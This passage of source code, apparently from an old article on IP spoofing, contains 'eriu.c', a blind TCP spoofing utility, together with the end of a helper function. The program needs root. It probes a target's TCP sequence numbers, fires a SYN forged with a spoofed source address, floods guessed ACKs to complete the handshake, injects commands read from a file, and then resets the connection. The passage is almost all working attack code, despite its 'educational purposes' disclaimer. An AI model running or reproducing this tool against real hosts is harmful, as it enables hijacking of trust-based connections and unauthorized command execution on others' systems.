  2138.   stat=wait_packet(fd_receive,&pinfo,TARGET,TARGET_P,SOURCE,port,SYN,20);
  2139.   gettimeofday(&(time_list[i]),NULL);            
  2140.   if(stat<0)
  2141.     {return -1;}
  2142.   else  {list_seq[i]=pinfo.seq;
  2143.          if(pinfo.seq==0)
  2144.            {printf("\nThis port doesn't accept connections...\n");exit(1);}
  2145.         };
  2146.   }
  2147. /* RESET auto, because our host sends RESET    */
  2148. return 0;
  2149. }
  2150.  
  2151. ----------------------------------------------------------------------------
  2152.  
  2153. --[eriu.c]------------------------------------------------------------------
  2154. /**************************************************************************/
  2155. /*  Eriu - Blind spoofing utility                                         */
  2156. /*         (illustration for 'A short overview of IP spoofing')           */
  2157. /*                                                                        */
  2158. /*  Purpose - demonstration of spoofing attacks                           */
  2159. /*                                                                        */
  2160. /*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
  2161. /*           Serious advice, comments, statements, greets, always welcome */
  2162. /*           flames, moronic 3l33t >/dev/null                             */
  2163. /*                                                                        */
  2164. /*  Disclaimer - This program is for educational purposes only. I am in   */
  2165. /*               NO way responsible for what you do with this program,    */
  2166. /*               or any damage you or this program causes.                */
  2167. /*                                                                        */
  2168. /*  For whom - People with a little knowledge of TCP/IP, C source code    */
  2169. /*             and general UNIX. Otherwise, please keep your hands of,    */
  2170. /*             and catch up on those things first.                        */
  2171. /*                                                                        */
  2172. /*  Limited to - Linux 1.3.X or higher.                                   */
  2173. /*               Watch the devices! default is 'eth0' you might have to   */
  2174. /*               change that. Read the code...                            */
  2175. /*                                                                        */
  2176. /*  Compiling - gcc -o eriu eriu.c                                        */
  2177. /*                                                                        */
  2178. /*  Usage - Usage described in the spoofing article that came with this.  */
  2179. /*          If you didn't get this, try to get the full release...        */
  2180. /*                                                                        */
  2181. /*  See also - Sniffit (for getting the necessairy data on a connection)  */
  2182. /**************************************************************************/
  2183. #include "spoofit_v3.h"
  2184.  
  2185. /*** Network device info, you could have to change this ***/
  2186. #define INTERFACE    "eth0"                    
  2187. #define INTERFACE_PREFIX 14                           
  2188. /* 
  2189. #define INTERFACE    "ppp0" 
  2190. #define INTERFACE_PREFIX 0     
  2191. */
  2192.  
  2193. #define VERSION "0.1"
  2194.  
  2195. #define TIMEOUT        20                    /* packet receive timeout */
  2196. #define SCANCOUNT    5          /* packets send during initial scan */
  2197.                                       /* Should be 5 or bigger            */
  2198. #define SCANSEQ        0x3E65F666        /* SEQ number used for scanning */
  2199. #define SPOOFSEQ    0x223EE666           /* SEQ number used for spoof */
  2200.  
  2201. char DEBUG=0;
  2202. char SRC[200], TGT[200], ME[200];
  2203. unsigned short SRC_P, TGT_P, SCANTGT_P=23;
  2204. unsigned short my_p=6666;     /* need to count ports on to avoid problems */
  2205.  
  2206. int fd_send, fd_receive;
  2207.  
  2208. void eriu(void)
  2209. {
  2210. printf("Eriu -- Version %s  (by Brecht Claerhout",VERSION);
  2211. printf(" <coder@reptile.rug.ac.be>)\n");
  2212. }
  2213.  
  2214. void quit (char *name)
  2215. {
  2216. printf("usage: %s <arguments>\n",name);
  2217. printf("Arguments are:\n");
  2218. printf("  -s host:port  Spoofed Host (required)\n");
  2219. printf("  -t host:port  Target Host (required)\n");
  2220. printf("  -f filename   Packet contence commandfile");
  2221. printf(" (required, except with '-P')\n");
  2222. printf("  -p port       Source Port used for scanning (default 23)\n");
  2223. printf("  -c count      Number of guesses to make");
  2224. printf(" (default 64k:20 other:500)\n");
  2225. printf("  -o offset     Extra offset to add to guessed ACK\n");
  2226. printf("  -d delay      Seconds of delay between parts of the attack");
  2227. printf(" (default:1)\n");
  2228. printf("  -P            Probe for guessing range\n");
  2229. printf("  -F            Enter the ACK guess y'rself");
  2230. printf(" (test/practice purposes)\n");
  2231. exit(1);
  2232. }
  2233.  
  2234. char *get_local (void)  /* get y'r own hostname */
  2235. {
  2236. char hlp[200];
  2237.  
  2238. hlp[199]=0;
  2239. if(gethostname(hlp,199)<0)
  2240.   {fprintf(stderr,"\nError: Couldn't determine host name...\n");
  2241.    exit(1);}
  2242. strcpy(ME,hlp);
  2243. return ME;
  2244. }
  2245.  
  2246. main(int argc, char *argv[])
  2247. {
  2248. unsigned long i,j;
  2249. int stop=0, FORCE=0;
  2250. int is_64k=0, countstep=1,buf_pos;
  2251. unsigned long count=0;
  2252. unsigned char buffer[1500];
  2253. unsigned char hlp[200], *hlp2;
  2254. unsigned char cmdfile[200];                        /* name of commandfile */ 
  2255. char c, required=0; 
  2256. unsigned long SEQ_list[SCANCOUNT];                      /*list of SEQ nrs */
  2257. unsigned long ACK_avrg, ACK_guess, ACK_spoof, ACK_start;     
  2258. unsigned long SEQ_spoof;
  2259. long ACK_offset=0;                           /* extra ACK offset (signed) */
  2260. FILE *cmd;
  2261. struct sp_wait_packet pinfo;                               /* For probing */
  2262. int stat;
  2263. int sec_delay=1;                                         /* delay setting */
  2264.  
  2265. eriu();                                   /* give meaning to this program */
  2266.  
  2267. while((c=getopt(argc, argv,"s:t:p:c:D:f:FPd:o:"))!=-1)
  2268.   { 
  2269.   hlp[199]=0;
  2270.   switch(c)
  2271.     {
  2272.         case 's': 
  2273.            strncpy(hlp,optarg,199); 
  2274.            if((hlp2=(unsigned char *)strtok(hlp,":"))==NULL) quit(argv[0]);
  2275.            strcpy(SRC,hlp2);          
  2276.            if((hlp2=(unsigned char *)strtok(NULL,":"))==NULL) quit(argv[0]);
  2277.            SRC_P=atoi(hlp2);          
  2278.            required |=1; 
  2279.            break;
  2280.         case 't': 
  2281.            strncpy(hlp,optarg,199); 
  2282.            if((hlp2=(unsigned char *)strtok(hlp,":"))==NULL) quit(argv[0]);
  2283.            strcpy(TGT,hlp2);          
  2284.            if((hlp2=(unsigned char *)strtok(NULL,":"))==NULL) quit(argv[0]);
  2285.            TGT_P=atoi(hlp2);          
  2286.            required |=2; 
  2287.            break;
  2288.         case 'f':
  2289.            strncpy(cmdfile,optarg,199);
  2290.            required |=4;
  2291.            break;
  2292.         case 'p':
  2293.            SCANTGT_P=atoi(optarg);
  2294.            break;
  2295.         case 'c':
  2296.            count=atol(optarg);
  2297.            break;
  2298.         case 'D': 
  2299.            if(strcmp(optarg,"DEBUG")!=0) quit(argv[0]); 
  2300.            DEBUG=1;
  2301.            break;
  2302.         case 'F':
  2303.            FORCE=1; /* test purpose */ 
  2304.            break;
  2305.         case 'P':
  2306.            FORCE=2; /* Probe */ 
  2307.            break;
  2308.         case 'd':
  2309.            sec_delay=atoi(optarg);
  2310.            break;
  2311.         case 'o':
  2312.            ACK_offset=atol(optarg);
  2313.            break;
  2314.         default : 
  2315.            quit(argv[0]); 
  2316.            break;
  2317.     };
  2318.   }
  2319. if( (((FORCE&2)==0)&&(required!=7))||(((FORCE&2)==2)&&(required != 3)) )
  2320.         {quit(argv[0]);}
  2321. DEV_PREFIX = INTERFACE_PREFIX;
  2322.  
  2323. printf("Checking permissions... ");                  /* rootpermissions ? */
  2324. if((getuid()!=0)&&(geteuid()!=0))
  2325.   {printf("NO ROOT\n"); exit(1);}
  2326. fd_send = open_sending();                            /* open some sockets */
  2327. fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); 
  2328. printf("OK\n");
  2329.  
  2330. printf("Opening command file... ");      /* see if there is a commandfile */
  2331. if(FORCE!=2)
  2332.   {
  2333.   if((cmd=fopen(cmdfile,"r"))==NULL)
  2334.     {printf("FIALED\n"); perror("ERROR"); exit(1);}
  2335.   printf("OK\n");
  2336.   }  
  2337. else
  2338.   {printf("SKIPPED\n");}
  2339.  
  2340. printf("Determining local IP adress... %s\n",get_local());
  2341. printf("Trying to determine if Target System is 64K ruler...\n");
  2342. printf("   Probing Target System... "); fflush(stdout);
  2343. if(FORCE!=1)
  2344.   {
  2345.   if(get_seq_nrs(SEQ_list,SCANCOUNT,0)<0)
  2346.     {fprintf(stderr,"\nError: Packet timed out, giving up...\n"); exit(1);}
  2347.  j=0;
  2348.   for(i=0;i<SCANCOUNT;i++)
  2349.     if( SEQ_list[i]==0 )
  2350.       j++;
  2351.   if(j>=SCANCOUNT-1)
  2352.     {printf("FAILED\nAccess denied on scan port...\n"); exit(1);}  
  2353.   printf("OK\n");
  2354.  
  2355.   j=0;
  2356.   for(i=1;i<SCANCOUNT;i++)
  2357.     if( ((SEQ_list[i]-SEQ_list[i-1])%64000)==0 )
  2358.       j++;
  2359.   if(j>=(SCANCOUNT/2))
  2360.     {printf("   Target System is 64k ruler...\n");
  2361.      countstep=64000; is_64k=1;}
  2362.  
  2363.   if(count==0)             /* Set number of packets to complete handshake */
  2364.     {if(is_64k==1) count=20;
  2365.      else count=500;}
  2366.   }
  2367. else /* skip if Forcing ACK */
  2368.   {printf("SKIPPED\n"); 
  2369.    if(count==0) count=1;};
  2370.  
  2371. sleep(sec_delay);                                        /* wait a second */
  2372. SEQ_spoof=SPOOFSEQ;
  2373. printf("Probing Target system for attack... "); fflush(stdout);
  2374. if(FORCE!=1)
  2375.   {
  2376.   if(is_64k==1)
  2377.     {
  2378.     if(get_seq_nrs(SEQ_list,2,0)<0) /* one to wake up */
  2379.       {fprintf(stderr,"\nError: Packet timed out, giving up...\n");
  2380.        exit(1);}
  2381.     ACK_guess=SEQ_list[1]+64000;
  2382.     }
  2383.   else
  2384.     {
  2385.     if(get_seq_nrs(SEQ_list,5,0)<0) /* one to wake up */
  2386.       {fprintf(stderr,"\nError: Packet timed out, giving up...\n"); 
  2387.        exit(1);}
  2388.     ACK_avrg=(SEQ_list[4]-SEQ_list[1])/3;
  2389.     ACK_guess=SEQ_list[4]+ACK_avrg;
  2390.     }
  2391.   ACK_guess++; /* one bigger then the SEQ generated */
  2392.   ACK_guess+=ACK_offset;
  2393.   printf("OK\n");
  2394.   }
  2395. else /* for force */
  2396.   {
  2397.   printf("SKIPPED\n");
  2398.   }
  2399.  
  2400. if(FORCE!=2)
  2401.   transmit_TCP(fd_send, NULL,0,0,0,SRC, SRC_P, TGT, TGT_P, 
  2402.                                                           SEQ_spoof,0, SYN);
  2403. else                                                       /* for probing */
  2404.   {
  2405.   transmit_TCP(fd_send, NULL,0,0,0,ME, SRC_P, TGT, TGT_P, SEQ_spoof,0, SYN);
  2406.   stat=wait_packet(fd_receive,&pinfo,TGT,TGT_P,ME,SRC_P,SYN|ACK,TIMEOUT);
  2407.   if(stat<0)
  2408.     {fprintf(stderr,"\nError: Packet timed out, giving up...\n"); exit(1);}
  2409.   ACK_spoof=pinfo.seq+1; /* autoreset by our host */
  2410.   printf("Guessed ACK: %X  Probed ACK: %X\n",ACK_guess,ACK_spoof);
  2411.   printf("Difference: %X (or decimal: %lu)\n",
  2412.                       labs(ACK_spoof-ACK_guess), labs(ACK_spoof-ACK_guess));
  2413.   exit(0);  
  2414.   }
  2415. SEQ_spoof++;
  2416. printf("SYN packet fired...\n");
  2417.  
  2418. if(FORCE!=0)                                                /* Force mode */
  2419.   { printf("Give ACK to force (hex): "); fflush(stdout);
  2420.   scanf("%lx",&ACK_guess);}
  2421. printf("Guessed ACK: %X\n",ACK_guess);
  2422.  
  2423. sleep(sec_delay);                                             /* Guesses */
  2424. printf("Sending guessed ACK's... "); fflush(stdout);
  2425. j=count/2;
  2426. ACK_start=ACK_guess-(j*countstep);
  2427. for(i=0;i<count;i++)
  2428.   {
  2429.   ACK_spoof=ACK_guess+((i-j)*countstep);
  2430.   transmit_TCP(fd_send, NULL,0,0,0,SRC,SRC_P,TGT,TGT_P,SEQ_spoof,
  2431.                                                              ACK_spoof,ACK);
  2432.   }
  2433. printf("DONE\nConnection hopefully established...\n");
  2434.  
  2435. sleep(sec_delay);
  2436. printf("Executing command file...\n");
  2437.  
  2438. buf_pos=0;
  2439. hlp[3]=0;
  2440. while(stop==0)
  2441.   {
  2442.   hlp[0]=getc(cmd);
  2443.   if(feof(cmd)!=0)  {hlp[0]=10; stop=1;}   /* if there is no enter on the */ 
  2444.                                            /* last line                   */
  2445.   switch(hlp[0])
  2446.     {
  2447.     case '\\':
  2448.       hlp[0]=getc(cmd); hlp[1]=getc(cmd); hlp[2]=getc(cmd);
  2449.       if((hlp[0]=='a')||(hlp[0]=='A'))
  2450.      {
  2451.          hlp[0]='0';
  2452.          ACK_start+=atoi(hlp);
  2453.          /* printf("[ACK %u]",(unsigned char)atoi(hlp));fflush(stdout); */
  2454.          }
  2455.       else
  2456.          {
  2457.          buffer[buf_pos]=(unsigned char)atoi(hlp); 
  2458.          buf_pos++;
  2459.          /* printf("[%u]",(unsigned char)atoi(hlp));fflush(stdout); */
  2460.          }
  2461.       break;
  2462.     case 10:
  2463.       if(buf_pos==0)  
  2464.         {
  2465.         printf("Firing packet (ACK)... ");
  2466.         transmit_TCP(fd_send, NULL,0,0,0,SRC,SRC_P,TGT,TGT_P,
  2467.                                                SEQ_spoof,ACK_start,ACK);
  2468.         printf("DONE\n");
  2469.         break;
  2470.         }
  2471.       printf("Firing packet (DATA)... ");
  2472.       transmit_TCP(fd_send, buffer,0,0,buf_pos,SRC,SRC_P,TGT,TGT_P,
  2473.                                                SEQ_spoof,ACK_start,PSH|ACK);
  2474.       SEQ_spoof+=buf_pos;
  2475.       buf_pos=0;
  2476.       printf("DONE\n");
  2477.       sleep(sec_delay);
  2478.       break;
  2479.     default:
  2480.       buffer[buf_pos]=hlp[0];
  2481.       buf_pos++;
  2482.       /* printf("%c",hlp[0]);fflush(stdout); */
  2483.       break;
  2484.     }
  2485.   }
  2486.  
  2487. sleep(sec_delay);            /* We are nice ppl, we close our connections */
  2488. printf("Cleaning up (RST)...\n");
  2489. transmit_TCP(fd_send, NULL,0,0,0,SRC,SRC_P,TGT,TGT_P, SEQ_spoof,
  2490.                                                              ACK_start,RST);
  2491. fclose(cmd);
  2492. close(fd_send);
  2493. close(fd_receive);
  2494. }
  2495.  
  2496. /* getting a list of SEQ-nrs from the target */
  2497. int get_seq_nrs(unsigned long *seqlist, int nr_of_packs, int sec_delay) 
  2498. int i, stat;
  2499. char buffer[1500]; 
  2500. struct IP_header *iphead; 
  2501. struct TCP_header *tcphead; 
  2502. struct sp_wait_packet pinfo;
  2503.  
  2504. for(i=0;i<nr_of_packs;i++)
  2505.   {
  2506.   sleep(sec_delay);
  2507.   my_p+=69;
  2508.   transmit_TCP(fd_send, NULL, 0,0,0, ME, my_p, TGT, SCANTGT_P, 
  2509.                             SCANSEQ+(i*69),0, SYN);
  2510.   stat=wait_packet(fd_receive,&pinfo,TGT,SCANTGT_P,ME,my_p,SYN|ACK,TIMEOUT);
  2511.   if(stat<0)
  2512.     {return -1;}
  2513.   else  {seqlist[i]=pinfo.seq;
  2514.          if(pinfo.seq==0)
  2515.            {printf("\nThis port doesn't accept connections...\n");exit(1);}
  2516.          if(DEBUG!=0) printf("%X\n",pinfo.seq);};
  2517.   }
  2518. /* RESET auto, because our host sends RESET    */
  2519. return 0;
  2520. }
  2521.  
  2522. ----------------------------------------------------------------------------
  2523.  
  2524.